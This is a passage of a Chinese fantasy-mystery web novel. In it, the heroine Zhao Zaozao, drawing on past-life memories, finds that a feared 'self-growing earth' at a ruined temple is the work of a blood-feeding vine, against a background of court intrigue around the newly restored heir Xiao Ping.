昭早早跳上马车,笑道:“一定。”
经过这番周折,她一时半会也没有睡意,索性把方知画给她的几页纸拿出来看。
这还是昨晚读《万异海》到精彩处:少年侠客于海外仙山遭遇各种诡奇异兽、仙草毒瘴,正披荆斩棘、破除邪魔之时——方知画一拍脑门,从枕头底下摸出几张纸,递给她道:
“上次你问的事情,都写在这上面了。回头你自个慢慢看,现在先陪我干正事。”
昭早早莞尔,在摇晃的马车中读到“……玄羽真人才学卓然,尤擅阴阳五行、风角星算、营造术数。先帝嘉其文华,敕送帝女栖真养素于其门下。”时不禁敛了笑容。
出宫入道的帝女,如此说来,宁平公主还真是她座下弟子,可梦中窥见前世,慕容青并不曾在意过此事——可能是因为彼时无论是云天观还是玄羽真人,都名不见经传。
根据这纸页中的记述,早在四十多年前,先帝被封为太子之前,他这个一母同胞的长姐就已许下宏愿,终身不嫁,自愿入道观修行“为国祈福”,从此不问朝堂二十余年,只做些宣讲道法、施粥放药、收养孤儿、开办学堂的善事。
百姓对之颂声载道,德名远播,朝堂更迭之后,云天教更是信众广增,如火如荼,今上与之书问数载,恩礼甚笃,后请召封为国师。
这便耐人寻味了。
史书记载,独孤皇后——也就是玄羽国师和先帝的生母,乃是赫赫有名的贤后,一生辅佐体弱多病的帝王治理朝政,革故鼎新,女子可入学入世便是自她而始。
然而这样贤德的国母看来也有力所不逮之处,她仅有的一子一女:先帝与玄羽真人,关系显然并不亲密,先帝亲政时并未重用她,倒是这位发起宫变的异母兄弟与之更像手足。
思及此处,那些前世诡谲谋算,都好像蒙上了不一样的色彩。
宁平公主既是为他们所用,最后又为何会如同弃子般的,与自己一道殒命地宫?
如果她还能记起更多就好了……昭早早头痛地揉揉额角,将纸页仔细收好,靠在车厢上闭目养神。
唉,知道这些又有什么用呢?往事已矣,她总归还是得先顾好眼下的差事。
29. 息壤
暮春将尽,夏意初萌。
王都城郊,一座荒颓的寺庙遗址伏在蔓草深处。
阳光泼洒下来,照亮墙根处几簇明黄的野花,也照亮砖缝里钻出的倔强青草与蒲公英。
风过处,细小的白絮无声飘散,然而这勃勃生机,却更衬得此地一片死寂荒凉,罕无人迹。
但今日废庙中却来了不少民夫,凿墙平地,拆砖运石,另有搭工棚、引水渠的,干得一派热火朝天。另有两名身着青灰色小吏袍服的人影,踏着碎石杂草指挥他们干活。
为首的是一位年过四旬的工部监作,面皮焦黄,仿佛朝廷欠了他俸禄般眉头紧锁,眼神不安地四处逡巡。
更年轻些的监作跟在他后面,很是不解。
“曹监,这地方有什么蹊跷么?司天监的人可算过了,此乃福泽深厚之地,不然也不会选在这里建祭坛。”
“孙监,你有所不知。”曹监作抬脚踢开一块松动的砖石,碎石滚落,扬起一小片灰尘,“我打小就听祖父提起过,这地方闹……那个。”
“哪个?”对方不明所以。
曹监作叹道:“……等会你自己看吧!”
外头民夫还在忙活,两人已踱步到寺庙内院,只见一颗古树旁立了块石碑,多有残破,但字迹依然断续可辨——
“息壤之说不实”、“触之者殃,概因暑热多疫”、“鬼神渺渺,事在人为”,而碑文最后写着,“州牧柳公亲察”。
“这柳公是哪位大人?”孙监作奇道,“息壤之说又是何事,怎么我从未听闻?”
曹监心下鄙夷他这位同僚是个乳臭未干的毛头小子,但面上还是和气地解释道:
“那是百年前永兴年间的旧事了。此处原也是座香火不绝的古刹,忽有一日,佛堂内的砖地被土顶起一块,日益增高,向外扩散。”
“僧人们将凸起的地面铲平,再铺以砖石,但不久后土壤竟又高隆起来,再次顶开砖石。更离奇的是,寺内所有铲过土的僧人都接连暴毙。”
“竟有此等异事?”孙监瞠目结舌,“我想起来了,息壤是否就是《山海经》中记载的,鲧从帝尧处偷来堵塞洪水的神土,能自繁其身,填充九界?莫非此处的就是……”
曹监颔首道,“当时民间百姓都认为是僧人触碰了天帝所喜爱的息壤,才会遭此横祸。”
“那这位柳公,”孙监一惊:“难道是……?”
“正是那位名相。”曹监不再卖关子,直道:
“天子脚下流言四起,宰相大人最终亲自出面处理此事,不仅将息壤一举铲平,还留下了一块石碑,阐明并非鬼神作祟,实乃酷暑偶合疫病所致。”
孙监长舒口气道,“无论如何,既已铲平,当属无碍。”
曹监又说,“可此处香火便也由此落败,僧人纷纷转走,最终还是成了一座废寺。可见着实……”
晦气、不详。曹监这把年纪,自然明白祸从口出的道理,故不再言明。
孙监意会,宽慰同僚也勉励自身道:
“左右我等也只是来打个头阵,清理旧址而已,待朝中的任命文书下来,各地征召的能工巧匠一到,自然无需我等主事。”
正聊着,领头的民夫找过来禀报,说前院有一块大土包,他们几铲子下去,翻开的土是暗红色的。
两人对视一眼,脸色丕变,怎得偏生怕什么来什么,提灾灾至,道祸祸临?
他二人这便跟随去看,只见现场仍还有几人在挖,铁锹插入土丘,带出的泥土果然含着一些半干涸的暗红泥浆,粘稠得如同凝结的血块。
一股难以言喻的土腥味,混合着若有似无的腐败气息翻涌上来,铲土的民夫纷纷捂住口鼻,见监作来了,当即停手待命。
孙监作感觉一股冰冷的寒气从脚底板直冲头顶,当即战战兢兢后退一步,拿不定主意地看向曹监。
此刻曹监却一反先前的仓皇之色,镇定道:
“不过是些赤褐烂泥罢了。此乃关乎祭天,圣上钦命的大工程,一天的工期都耽误不起,你们赶紧将此地铲平了便是,若有延误,谁也逃不了干系!”
民夫们面面相觑,只得又拿起了手中的工具。
曹监这才将同僚拉到一边,带着一丝不易察觉的颤抖低声道:“你在此处看着,我先回一趟工部,向署令禀报此事。”
孙监犹豫着应下,复又后悔,“车马劳顿,要不还是我去……”
而对方早就逃也似的离去。
昭早早初入王都时正听到什么“息壤复生、接连惨死”的消息,街巷阡陌到处都传得沸沸扬扬,她在茶楼听了上阙,竟又能在饭馆书接下回,前前后后也算大致了解。
她原本被尚书省的人带到驿馆,是要去工部应役分派职事的,但眼下工部迟迟没有来人,她连去找舅父疏通关系都不用,倒也乐得清闲。
王都的繁华自不是甄城可比,昭早早四处闲逛游玩,有些地方竟越看越眼熟,与梦中的前世别无二致。
她行至城中一处富丽堂皇府邸,往事一幕幕划过眼前,可如今匾额所挂却已是“武阳侯府”,物是人非,莫过如此。
后几日她自然是去了云天道观,原是想参与传度法会,打探一番玄羽国师的虚实,却听闻为了准备祭天大祀,国师早已闭关修行,不见外客。
但山门内外仍是人山人海,香火之盛,几乎将半座山都笼罩在了青白色的烟雾里,还真像九霄仙境一般。
如此想不被腌入味都难,虽然未曾谋面,但她起码知道了玄羽国师是什么味。
此处拥堵比之甄城更甚,大殿前的空阶上都挤满了人,昭早早听众人言谈间,不少都是冲着城郊那件事来的。
“我家老爷愿奉上白银百两!”有人向殿中喊到,“只求道长能亲赴城郊,做一场大法事,镇一镇那妖邪!”
立即有诸多喊声附和道:
“求诸位道长为百姓们做一场法师,驱邪避凶吧!”
“道长,赐张平安符吧!”
现场一片嘈杂,有道士出来安抚众人道:“诸位福主莫急,莫急!观中正在推算化解之法,此番地气翻涌,阴煞成形,实乃天罚之兆,与民无尤。”
与民无尤,又是天罚,昭早早咀嚼着这几个字,心道这就是怪天子失德喽?牛鼻子挺敢说啊。
“可我兄长就在征召的名册里面,”有人哭喊道,“这要是被硬逼着去,也遭了害,怎么得了啊!”
人群再次骚乱起来,不少人与他境况相同,七嘴八舌又说起那令人脊背发凉的传闻:满地血红的泥浆、一夜复生的土包、被吸成干货的尸体……连侥幸逃回家中的监作,也暴毙身亡。
越说越是人心惶惶,道士最后还是拿出符纸来分发,才勉强稳定下局面。
“诸位放心,天道至公,亦怀悲悯。自会有德被苍生、天眷垂青者以赤诚之心,上达天听,赦免此地罪愆,永绝祸患!”
众人齐齐拜谢,不少人又跟着道长颂念起经文,内殿也是一般的玄韵滔滔。
昭早早踏返下山的路上,回想起种种传闻中的细节,心中莫名地升起一丝异样。
她有些熟悉……但又不能确定,有些地方推之理不洽。
看来这王都的繁华之下,多的是暗流汹涌。若真想弄清此事,恐怕得去一趟现场。
反正她也是名册上的征调匠,该
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来的跑不掉,到时再去会一会便是。
她还没去找名义上的舅父玉临川,对方倒是先打听到消息,派了管事来驿馆相请。
离开时她听到驿馆中人正在谈论晋王世子受封营缮使、即将主持修建祭坛一事,心说这真是临危受命,出来背锅的,但也与她无干。
揣着玉迟雪写的信函,昭早早刚踏进这位工部水利郎中的宅院,便听见几个仆役在角落里压着嗓子议论“鬼土招灾”、“天罚降世”之类的词,可见这件事确是闹得沸反盈天。
“早早啊,你这孩子……唉!也罢,祸兮福之所倚,福兮祸之所伏。”
玉临川看完信,手指捻着胡须感慨道:
“城郊废弃寺庙的事,想必你也知道,祭坛不日便要动工,你放心,我自会去拜请将作监的同僚,为你分派个清闲的文书差事,无需亲赴现场。”
昭早早本来是连连点头,听到最后赶紧摇头道,“能不能是个偶尔能去现场看看的清闲文书差事?计料之类的。”
玉临川吹胡子道:“你当那是东西两市,想凑热闹便去逛逛?”
到底这位舅父也是隔着一层,昭早早也不好意思多麻烦他,便道:“全听舅父安排。”大不了想去再另找机会。
“那你先在我府上住下,不必再去驿馆。”玉临川抚须允颔,“日后也方便同我一道去工部点卯。若是晋王世子来议事,你且先暂避。”
昭早早莫名其妙:“我为什么要暂避?”
玉临川诧异道:“你不知道?”
昭早早问:“我该知道什么?”
“……”玉临川哑然少顷才说,“晋王世子是近日刚从甄城入宫受封的。”
昭早早大吃一惊,“甄城什么时候还有位世子爷?”
玉临川一言难尽道,“便是肖平。”
“啊?”她一掌拍案而起,“你说什么?!”
黄梨木的茶几应声沉下去一个深深的手印,玉临川瞪大眼,劝她不要激动,婚事退了也好,肖平本就是伪装的身份,就算婚约尚在,也不可能真的与她成婚。
“他本是前晋王妃所生的嫡长子,因前事特殊,这才寄养在外家肖府,隐匿多年。所幸陛下明察秋毫,为其恢复了世子身份。”
玉临川道,“但你主动登门退亲一事,还是办得不妥。所以如无必要,还是少碰面得好。”
昭早早脑子里一时思绪如乱麻交织,肖府对肖平的尽心照料倒是有了解释,公主前世保下的孩子,竟是他自己?
叔母明明说前王妃是难产,看来此事定有隐情,肖家隐忍多年,多半对今日局势早有准备。可肖平作为公主的转世,时间却对不上……
肖王妃怀胎时,公主分明还活着!
又或许胎儿在母亲腹中时,尚不算人,须得到临盆那日,才有灵魂来转世投胎?
昭早早冥思苦想,肖平出生是哪一天,自己与公主又是哪一日死的?偏偏她还没有梦到!
玉临川看她神思不属大受刺激的模样,还以为她是在恼恨不该得罪肖平一事,忙劝慰道:
“祭坛的工期不会太久,等此间事了,我即刻派人送你回甄城。”
差点忘了眼下还有祸事未平,昭早早咬牙,狗皇帝哪是什么明察秋毫,分明是拿肖平这颗陈年旗子,离间如今势大的晋王府罢了。
现晋王妃是有亲生子的,好端端本是囊中之物的世子位突然旁落,会怎么对付肖平?
若帝王权术早有风声或有意或无意地走漏,那么赐封肖平的这个差使,包括当下的局面,都很难说不是一场阴谋。
“舅父,”昭早早问道,“息壤一事朝廷打算怎么处理?”
30. 破庙
玉临川告诉她,工部呈报此事时希望司天监能另选福址,而司天监坚称并未算错,以贤相柳公的碑文为例,说不过是暑热疫病,没必要捕风捉影。
二边角色颠倒、互相驳斥,工部大论山海经周易风水,司天监却说事在人为,场面颇为讽刺。
最终圣意将此事交由营缮使自行决断。
而临时受封的营缮使,自然便是晋王世子肖平——现在该叫燕平了。
数月前,一颗“色白,长丈余”的流星划过夜空,无论司天监怎么遮掩,这等不吉之天象也是很难粉饰的。
朝野震动,大臣纷纷上疏,请建极帝“早择宗室之贤,录以为皇子,使摄居储副之位,内以辅卫圣躬,外以镇安百姓”。
而偏巧此后,建极帝“查明旧事”,召回了晋王世子,这着实很难不让人猜想。
昭早早听到此处恨得咬牙,狗皇帝这是找了枚棋子推到风口浪尖……燕平,该说冥冥中自有天意吗,前世公主亦是此名……
私心以区分,昭早早还是在心里唤他肖平,希望他今生能与前世不同,好好活着。
听舅父说,晋王世子十分务实,已即刻开始主事,三日内所有的征调匠都需前往工部应役。
玉临川虽属水利部,与将作监无甚关联,但越是这样没有冲突,反倒是越好走动。
昭早早果然就被分派到计料一职,而且只计土石,木工、舟车另有他人,算是既清闲又自由的闲差,能不时以核算为由去现场走动——
这可是她死乞白赖问玉临川求来的,事已至此,她实无法袖手旁观,只能劳烦舅父。
去领号衫、木牌那日,管事的小吏分外为难,说并没有女子的制式。昭早早并无所谓,让其给套男子的着装也是一样。
即便女子可如男子一般入世的法令已推行数十载,真正践令躬行的也还是少数,非知之艰,行之惟艰,上千年来的礼法教化,非三朝两代就能改变。
一大早工部大堂里气氛凝重得像在办丧事。
堂上主位,端坐着一位紫衣玉带的青年,面露寒霜,薄唇紧抿。
几个将作监的主事官员垂手站在下首,大气不敢出。
昭早早排在最末,基本是再后退一步就要迈出门槛的程度,毫不起眼,无人在意,她正好探出头来打量。
才月余不见,肖平自然没什么变化,只是那股子生人勿近的冷气更加外放——也可能是为了震慑其下的将作大匠,并几个丞、令。
“现在已有多大?”肖平问。
他指的自然是城郊那块息壤,早先被铲去大半的土包,在夺去数十条人命后,竟又无声无息地再次隆起、膨胀,仿佛真有生命般无休止地向上生长。
“回禀世子,”主簿答道:“起先只磨盘大小,如今方圆五丈有余,高七八尺。”
“最近的河道相距多远?”
“约莫二里开外。”
“如此集民夫百人,一日便能将异土运往河道冲走。”肖平粗略估算后道,“再掘地深挖,直至土色如常,烧以柴薪,填满石灰。”
主簿嚅嚅嗫嗫未敢应承,将作丞道:“世子有所不知,那处着实凶煞非常,连云天观的道长亦说阴气甚重,是否先焚香祝祷,设供祭拜一番?”
“可。”肖平颔首同意,众人皆是一喜,却又听他道:“那明日便调集人手,卯时净场敬神,晌午动土开工,正是阳气最盛之时。”
“明日……”将作丞连连擦汗,肖平不等他废话,问:“谁主此事?”
堂下鸦雀无声。昭早早心里啧了一声,面上却绽开笑容,步履轻快地挤开人群上前行礼道:“属下征调匠昭氏,愿往。”
她这一声清亮悦耳,在死寂的大堂里显得格外突兀。
所有目光瞬间聚焦到她身上,为首的官员们惊愕不已,根本不知道这是哪号人物,立时有交头接耳窃窃私语者,互相转告,主簿算是她的上官,忙呵斥道:
“一介女流,还不速速退下!”
肖平淡然如水的目光只在昭早早身上扫过一眼,便道:“那你去?”
他话却是对主簿说的,对方垂头支吾道,“此非卑职职司所掌,实未敢僭越……”
“僭越”一说,便是暗指向上官了,肖平立时向前几个人看去,将作大匠狠狠剜了主簿一眼,义正言辞道:
“神明之德在诚,今匠娘昭氏,输诚效勤,其志可嘉。既秉赤心以奉工事,有何不可?”
另几人忙附和道:“下官附议。”
老狐狸们就是圆滑,昭早早眨巴着眼等他们表演完,终于得到了肖平的任命。
“你可需他人从旁协助?”肖平问道。
昭早早身旁一众头颅霎时都低下三分,恨不能埋到土里才好,她不禁暗笑这些文官胆小如鼠——不过是去一个死一个的大凶地而已嘛,有什么好畏首畏尾的?
便道:“不必,只需请太常寺协办祭仪祝文即可。”
肖平看向她,“我亲往主祀。”
满座皆惊,昭早早一愣,只当刚才的腹诽没有想过,忙说:
“恐煞气冲撞殿下贵体,不妨等属下移平了息壤,殿下再往?”
其右后侧亲卫模样的人亦低声劝道:“殿下……”
昭早早这才注意到那人竟是肖府暗哨四和,看来他也一并前来王都,但显然左右不了肖平的主意。
现场工部要员皆是左右为难,一则实不敢往,二则肖平真出了事他们又担待不起。
想来全怪司天监不干人事选了这么一处要命的地方,偏陛下近些年笃信星象玄术日甚,只能祈祷明日上苍保佑,万事大吉。
议事一结束昭早早便夺门而出,拿着令牌直奔州府,言简意赅说明调借民夫一事,也不管其如何叫苦连天,总之尽快动员筹措。
她问府衙借了快马一匹,路过舅父玉临川家时,飞身下马快速取了一样东西,简单交待两句,便直奔城郊。
倒不是她非要孤身涉险,奈何事出紧急,明日便要动工,她只能先去探探那地方是否真的如她所料。
午后淡云如絮,城郊废寺遗址处杳无人烟,由于拆了一半又撒手不管,残垣断壁更显荒凉阴森。这里草木繁盛,昭早早随手把马匹栓在一棵树下,三两步踏入寺内。
她最先找的当然是息壤——那小山丘似的一大块暗红色土包,散发着血腥腐败的气味,想不注意到也难。
她蹲下来仔细观察其边缘处覆盖的碎砖石,只见裂痕泛白还很新鲜,看来泥土确实是在不断扩散生长,顶开拱起阻挡之物。
她又起身去寺中其他地方查看,后院一口石砌的废井静静矗立,井口盖满了枯枝落叶,井绳早已腐朽断裂。
她挥手拂去杂物,出乎意料的,井壁下方湿漉漉的,布满深绿色的青苔,看来深处并未完全干涸
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,借着一点天光,能隐约看到幽暗的水面反射着微弱的粼光。
昭早早随手拣一颗石子丢下去,从落水声判断出竟是一口极深的活水井——难怪时隔多年还能出水。
她在寺内各处反复查看,再无其他异常,便转向出事民夫所在的工棚。
那些简陋的茅草屋就挨着寺庙不远,搭在一颗异常巨大的古树之下。
此树枝繁叶茂,树冠如盖,在暮色中也显得郁郁葱葱,确是极好的遮阴纳凉之所。
工棚内一片狼藉,几张破草席凌乱地铺在地上,几把铁锹、箩筐散在角落,还算规整地摆放着。昭早早眉头一皱,太“干净”了。
据说所有民夫都是蜷缩着变成干尸,失尽了血——为镇压邪祟,尸体早已火化,但从现场的痕迹来看,别说半点血污,就是挣扎翻滚、搏斗的痕迹都没有。
似乎他们是在睡梦中,或者昏迷不醒的情况下,就毫无反抗地失去了生命。
昭早早捡起一把铁锹,又走回那处土包。刚才没有工具,现下有了,自然要眼见为实,亲自铲几把看看个中蹊跷。
铁锹插入“息壤”,发出噗一声闷响,粘稠得如同陷入沼泽。
昭早早撬起一铲,翻出来的果不其然是暗红色的淤泥,异味扑鼻而来,她本就五感灵敏,当下熏得几乎作呕,强忍着恶心又继续挖了几铲,终是把锹一扔,顶不住了。
就这样吧,意思到了就行。
夕阳渐落,晚风穿过废墟发出呜咽般的响声,昭早早大大方方走进工棚,打算早点休息。
她随意挑了张还算完整清洁的草席铺到窗边,合衣躺下,粗粝圆木充作枕头,想了想又从怀里摸出她特地回家从行李中取来的东西,压在枕下。
做完这一切,昭早早双眼微阖,放松但并没有完全放松——这种状态是慕容青在行军途中常有的,身体看似在打盹,但全身的感官依然警惕。
就这样朦朦胧胧的,她再次做起了一个浅浅的梦。
梦中慕容青正在军账内写信。此前被急召入宫,他尚不及回祖地去取通天藤原株,如今带着先帝灵柩也不好绕路,只能去信一封,请姑父代办。
世人皆知通天藤乃开国太祖和慕容家先祖自海外仙山寻到的奇株,却不知其一共有一十二株幼苗——
一旦离开海外仙山,通天藤便无法繁殖,所以这十二株便是中原大地通天藤的极数,十一陵对应其中十一株,如今还有最后一株封存在只有慕容氏历代族长才知道的地方。
他将此事托给姑父,一则植株用完,危险自然消解,无需再谨守机密;二则姑父本就是亥陵的山陵使,拿到原株后入地宫栽活顺理成章,待他到时便只需调整方向;三则眼下亦无更合适的人可用。
进祖地怎样打开机关、取株时如何防范、转运时当小心哪些、如何移植如何以人血浇灌、幼苗有哪些习性,慕容青都一一详述明白,这封信由他身边最信任的副将亲自去送。
待送信人离开,公主的侍女云桠正好来到账外等候通传。
“公主说,天寒。”她随主子一样话少,放下大氅便自行告退。
慕容青拿起衣裳,触手柔暖,不自觉笑意盈盈……
这个短暂的梦至此即停,昭早早倏地睁开眼,破窗幽幽的凉风灌进来,周遭一片晦暗。大约是丑寅交界,夜色最浓之时,她听到一阵簌簌的声响,有什么东西在草棚顶上爬。
31. 溪真
昭早早左手拿着防身的宝贝,右手紧握铁锹——毕竟她也没其他趁手的武器,好在一寸长一寸强,单从长度来说铁锹也是够用了。
她走出门外,足见轻点,身形如猎豹般拔地而起,纵身就跃到了屋旁的大树上。,只见草棚顶部一条一条的,像是有蛇群在游走,光线黯淡看不分明。
她等了一会,明月从厚云里探出半边,视野豁然明了,原来是一些藤蔓垂下树来,在随风摆动。
顺着草棚向前方望去,破庙中的枯井恰巧出现在眼帘中,两点几成直线,而息壤则是在这棵树前方偏右的位置,像一撇一捺,形成一个人字。
梦里那封信是怎么写来着?
她稍忆片刻,只能说还真是及时雨,为了验证猜想,她反手一锹用力插向树干——入木前半截阻力明显,后半截明显有一段空腔,那些藤蔓看似一缕缕顺着树干绕上枝头,实则将树心已侵占一空。
再看那些藤蔓,勉强也算老熟人了。
之所以说“勉强”,是因为这些并非真正的通天藤,而是一种近似的畸形体。
不知是什么人,在什么地方找到了这种类似通天藤的吸血植株,但显然它即便吸饱了血,也无法催生出硬木质的主体,而是可以模仿周遭的环境——且伪装得十分高明、隐蔽。
至于幻香,此藤气味淡薄,但致幻的效果应该是一样的,不然那些受害者不会毫无反抗。而她是因为把从丑陵带出的缎带压在枕下,才不受其害。
此异株与通天藤“储血为肥”的习性也相同——所谓息壤长高,是这类嗜血藤的根须会将一时吸收不完的养分调和成血泥储存起来。
皇陵地宫内为此建造有专门的空池,而此地的显然就是自由发挥,根系尚浅,吸食的血肉又多,所以上头才会频频“鼓包”。
照肖平打算掘地深挖、辅以焚烧的办法,倒确实可以毁掉土中的根系,但此类藤蔓有两簇根——它们如“人”字型一般一左一右,一簇深埋土壤,一簇扎入水源,如果两边不能同时毁灭,则很快就能复原重生。
届时亟需养分的植株,只怕会比现在更凶残。
这一片草木如此繁盛,也不知有多少藤蔓盘根错节伪装其中,想逐一斩断是不可能的,放火焚林它一样能随草木再长,始终是个祸患。
所以当务之急,是解决水源处——也就是隐藏在水井里的根须。
昭早早锹也没拔,跳下树来大摇大摆走向井口,她手握缎带有恃无恐,但人到了井边也犯愁……怎么弄呢,现在不是她割一刀就能解决问题的时候了,再说她还不想割,受伤怪疼的。
四野寂寂,星河渐隐,一线青白悄然泛起天际,快到卯时了。
左右也没有别的办法,她将缎带撕开一个口子,权当赌一把。
这异株既然也害怕此物,没准有用。原本随身带着从丑陵拿出来的东西,只是不好将危险的“罪证”留在家中而已,没想到竟还能派上这般用场。
手腕一倾,缎带夹层中的灰烬如流沙坠入深井,无声无息。
仅仅过了两个呼吸——原本死寂的井水,像水入油锅般骤然剧烈沸腾起来,咕噜噜的滚水声伴着一股浓烈的气味往上冒,有什么东西在水下疯狂地翻滚、搅动,最终又归于一潭死水,不再有动静。
昭早早探头看了一眼井底,这个光线其实根本啥也看不清,但感觉似乎是起作用了。就在她心神微松的刹那,一道掌风从背后袭来!
昭早早没有回头,身体顺势向侧面一拧,整个人以一种刁钻的角度贴地滑开,对方出招只是想拿她肩膀,所以她也没有即刻反击其要害,而是准备看一看来者何人。
“咦,怎么是你?”昭早早惊喜道,“你怎么一个人先来了?”
肖平眉头微蹙,看样子也没猜到是她,问:“你方才往井里投的什么东西?”
昭早早暗呼不妙,看来是想事情太过专注,连肖平何时靠近的都未察觉,也不知他看到多少,当下只好先装傻:“什么什么东西?我就是半夜口渴了,想看看这井还能不能用。”
肖平沉默地看着她,昭早早后背开始冒冷汗,换天王老子来这样看她可能都没有肖平有效果,对他撒谎有一种骨子里的罪恶感,毕竟前世骗他太多。
再过一息她搞不好就要交待了,幸得院外传来几串略显仓促的脚步声,为首的正是四和。
不知为何他们到的比主子还慢,也是颇心虚的样子,肖平侧身道:“水囊。”
四和会意,连忙解下来递过去,肖平将之又递给昭早早,用公事公办的口吻问道:“人手都安排好了吗?”
昭早早捧着水囊点头如捣蒜,“应在路上,我这便去接应。”
说完不待肖平再问,脚底抹油撒腿就溜,等上了马才发现,水囊还在手里。
倒也真是渴了,昭早早仰头喝水,同时暗想到底是哪个嫌命长的用此等手段害人——这类原生在海外的异株,绝不会平白无故出现在中原,没有特殊的栽种手法,它们根本就无法存活。
而通天藤的移栽之法她前世只告诉过姑父林荣……且当年的十二原株都已用尽,这株不一样的变种又是从何而来?
她必须想办法提醒肖平,否则背后之人一计不成,保不齐会再次动手。
行至半途她果然接到了州府诸人——昨日特地让玉府管事去请舅父帮忙,否则凭她一介临时征召来的小吏匆忙传信,州府阳奉阴违也犹未可知。
只是没想到州府竟还带着一队道士,领头的山羊胡越看越眼熟。
虽然年龄对不上,长相也不太一样,但她认人的直觉向来很准,不禁眉头直跳,一时不知该作何感想,对方察觉到她异样的目光,也回看过来,四目相对。
彼此的眼睛里都隐约闪过“你怎么还敢堂而皇之地出现”的震撼。
这更加肯定了昭早早的猜测。
昨日与她打过照面的府衙中人见状道,“二位可是认识?”
“不曾。”昭早早立时微笑问:“这位是?”
“这位是我们府事大人请示过世子后特地去云天观请来的溪真道长,道长玄门高真,道法精微,今日由他布置坛场,辅礼世子祭祀,以护佑此地安宁,工程顺遂!”
那人激昂一通,又向溪真道长介绍道,“这位是昭姑娘,将作监计料。”
溪真道长,不是祁道长吗?昭早早勉强示礼,细细打量,竟难以分辨他在甄城时的形象和此刻,到底哪一个才是易容。
想来府事是怕肖平有失,再出人命,自己难免受牵连,这才请动了云天观的道士,可这位……是正经道士吗?真的是云天观,不是云夫观?!
对方回礼的神色也是难掩复杂,
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盯着她的男装看了又看,但又听府衙的人说这是“昭姑娘”,一时状似很纠结。
想来那时在地宫,他坚信自己是有女装癖好的大兄弟。
根本懒得解释什么工匠制服的琐事,等一行人快到破庙时,昭早早逮住两人并行的机会,压低声音道:“你知道世子是谁吧?可别露馅被抓了,对我们都没有好处。”
溪真道长目不斜视走过去,“贫道不知福主所言为何。”
你不知道你这么小声说?昭早早白眼一翻,希望他被抓时也能这般死鸭子嘴硬……最好还是别了,这家伙身板薄薄一片,怎么看都经不起严刑拷打的样子。
还好肖平对这些玄黄术士并不怎么关注,坛场摆好,便让他们站在供桌边纯当摆设,献礼和颂祭文都是自己来。
实话实说,昭早早觉得他有点敷衍,念得是半点抑扬顿挫也无,不到半柱香她就听困了,差点打了个大哈欠。
只得又强打精神留意那位溪真道长,此人的行为着实很古怪,他若真是云天教的正牌道士,又怎么会以一个俗名野道的身份在江湖混,还作为知名“盗士”被闵家招揽?
若是求财,那他目的已经达到,干嘛还要冒着风险回来,甚至直面曾被他挟持的天潢贵胄。
若他有别的目的和靠山……会是什么,跟国师有关吗?
这联想也不算牵强,丑陵地图出自国师之手,虽她派遣的是邬志合,但她名义上的门下弟子也切实出现在了地宫内,很难说纯粹是巧合。
假设是国师派他去的,隐姓埋名是为了低调行事,那他为什么不直接跟邬志合合作?
昭早早左思右想理不出头绪,不自觉目光阴恻恻盯着人看,心说要不晚点把他绑了,严刑拷打逼供看看?
溪真道长小胡子抖动一下,慢慢扭过头去。
这胡子到底是真是假,拔几根就知道了,不过就算是真的,也说不好他一出地宫就开始蓄须……
胡思乱想中祭礼结束,看架势肖平是要亲自去铲“息壤”,众人前呼后拥地跟着,昭早早远远避开,一是料想应无大碍,最多很臭,自己领教过就不必再次领教了;二是打算趁机去截人。
岂料那家伙倒是精明,跑得比兔子还快,其他道士还在收拾坛场,他这个领头道长就先没影了。昭早早拦住一名看起来年纪最小最老实的道士询问,对方道:
“溪真师父还要赶往学堂授课,先回城中了。”
“哪处学堂?”昭早早诧异,“什么课?”总不会是寻龙点穴……
“自然是云笈堂,”小道士答,“溪真师父遍访名山大川,十分擅讲《水经注》、《地理志》等。”
他说到云笈堂昭早早便想起来方知画给她的信笺,确有提到这是云天观开办的启蒙义塾,无论是否入道都可以去听学。
如此一来,这溪真的身份还真做不了假,只他不止是遍访名山大川,他还“深入”了解呢。
昭早早问:“溪真道长游历如此丰富,不知年岁几何?”
小道士看她一眼,奇怪她为何对溪真师父有诸多疑问,含糊道:“师父早已过而立之年。”
什么?!
昭早早惊叹,那时竹苑见他晒书分明近似少年人模样,如此驻颜有术,是刮个胡子就能办到的吗?再问下去难免惹人起疑,只能再另寻合适的时机了。
32. 安灵入府
当天息壤被尽数挖空,焚土填灰直至入夜,世子尚在督工,其他人哪敢返城,是以最后无论是民夫还是工匠、官差都在现场的简陋工棚里凑合住下。
一间不够容纳,众人又搭盖了好几间,所幸那些藤蔓看起来叶片都蔫了——不消几日,就该枯死了吧。
昭早早也不放心,留在现场查看,本想就靠在树下假寐一晚得了,不料四和悻悻找来,说庙中尚有一空屋可住,世子请她过去歇息。
昭早早看他神情就知道这是辛苦整顿房间却给他人做嫁衣后的不爽,她也不想去呢,忙说:“不用,让世子自己睡吧。”
四和眉头一皱,“世子高风亮节,是叫你自去睡!”
这人听岔意思了,昭早早连连点头道,“我知道,替我转告世子,他的好意我心领了。”
“世子赏脸你竟然不要。”四和哼一声,话虽如此,神情却缓和不少,走时一副“你很识时务啊”的模样,昭早早看着好笑,说:“尊卑有别,我当然知道的。”
对方摇头道:“世子待人从不以尊卑论处。”但又不想和她多讲,快步离开。
月明星稀,昭早早想了想还是攀上树杈,视野会更好一些,也没有地上潮湿,就是会睡不踏实,正好她并不太想睡。
并不是说她的身体不够疲惫,相反,她昨夜就只短暂休憩了片刻,现下是真的有些困倦,但她害怕会做梦。
从前都是期待,但现在越来越提心吊胆。
人说偏就是怕什么,来什么,她愈想打起精神,精神就愈发困顿,靠在树杈还是迷瞪过去,朦胧中世事变迁,她披甲执锐,翻身上马,再次领着大队人马向利琅山进发。
时大雨滂沱山路难行,队伍中屡有车马陷于坑地泥沼,更有甚者还走岔了路,为不拖累行军进度,慕容青只留下小队照应,让其余人自行跟上。
这般紧赶慢赶,倒是比原定的日期还要提早两天抵达亥陵。稍作安顿接洽,先帝的灵柩自有礼官安排,慕容青随姑父林荣下到新修建好的地宫中,查看通天藤幼株的生长情况。
植株比预计长得要旺盛很多,方向上也没有什么大问题,慕容青从地宫出来多少有些疑惑,“怎的血池如此充沛,近来有这么多囚犯吗?”
“卷宗和人员都是州府押解过来的,倒也没有很多,均是按章程操办。”林荣一介儒将,很是温文尔雅,“许是这最后一株苗生来就比较茁壮,运过来也是费了不少气力。”
“姑父辛苦了。”慕容青向他道谢。
“都是为皇家效力,何必客气。”
林荣并不居功,与他行至内堂,与等候的礼部官员、太常寺卿等商议起过几日的奉安大典,事关帝王身后尊荣,自有诸多规制,虽然各中风波世人心照不宣,但该做的表面功夫还是要做足。
